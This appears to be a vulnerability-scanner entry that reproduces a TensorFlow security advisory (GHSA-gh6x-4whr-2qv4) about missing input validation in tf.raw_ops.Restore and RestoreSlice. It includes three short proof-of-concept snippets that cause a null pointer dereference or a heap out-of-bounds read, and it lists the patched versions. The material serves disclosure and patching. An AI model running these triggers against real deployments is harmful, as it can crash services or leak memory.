QID 981508
QID 981508: Python (pip) Security Update for tensorflow-gpu (GHSA-gh6x-4whr-2qv4)
Security update has been released for tensorflow-gpu,tensorflow,tensorflow-cpu to fix the vulnerability.
Note: The preceding description block is extracted directly from the security advisory. Using automation, we have attempted to clean and format it as much as possible without introducing additional issues.
When restoring tensors via raw APIs, if the tensor name is not provided, TensorFlow can be tricked into dereferencing a null pointer:
```python
import tensorflow as tf
tf.raw_ops.Restore(
file_pattern=['/tmp'],
tensor_name=[],
default_value=21,
dt=tf.int,
preferred_shard=1)
```
The same undefined behavior can be triggered by `tf.raw_ops.RestoreSlice`:
```python
import tensorflow as tf
tf.raw_ops.RestoreSlice(
file_pattern=['/tmp'],
tensor_name=[],
shape_and_slice='2',
dt=inp.array([tf.int]),
preferred_shard=1)
```
Alternatively, attackers can read memory outside the bounds of heap allocated data by providing some tensor names but not enough for a successful restoration:
```python
import tensorflow as tf
tf.raw_ops.Restore(
file_pattern=['/tmp'],
tensor_name=['x'],
default_value=21,
dt=tf.int,
preferred_shard=42)
```
The [implementation](https://github.com/tensorflow/tensorflow/blob/47a06f40411a69c99f381495f490536972152ac0/tensorflow/core/kernels/save_restore_tensor.cc#L158-L159) retrieves the tensor list corresponding to the `tensor_name` user controlled input and immediately retrieves the tensor at the restoration index (controlled via `preferred_shard` argument). This occurs without validating that the provided list has enough values.
If the list is empty this results in dereferencing a null pointer (undefined behavior). If, however, the list has some elements, if the restoration index is outside the bounds this results in heap OOB read.
The fix will be included in TensorFlow 2.6.0. We will also cherrypick this commit on TensorFlow 2.5.1, TensorFlow 2.4.3, and TensorFlow 2.3.4, as these are also affected and still in supported range.
- GHSA-gh6x-4whr-2qv4 -
github.com/advisories/GHSA-gh6x-4whr-2qv4
CVEs related to QID 981508
| Advisory ID | Software | Component | Link |
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| GHSA-gh6x-4whr-2qv4 | tensorflow |
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| GHSA-gh6x-4whr-2qv4 | tensorflow-cpu |
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| GHSA-gh6x-4whr-2qv4 | tensorflow-gpu |
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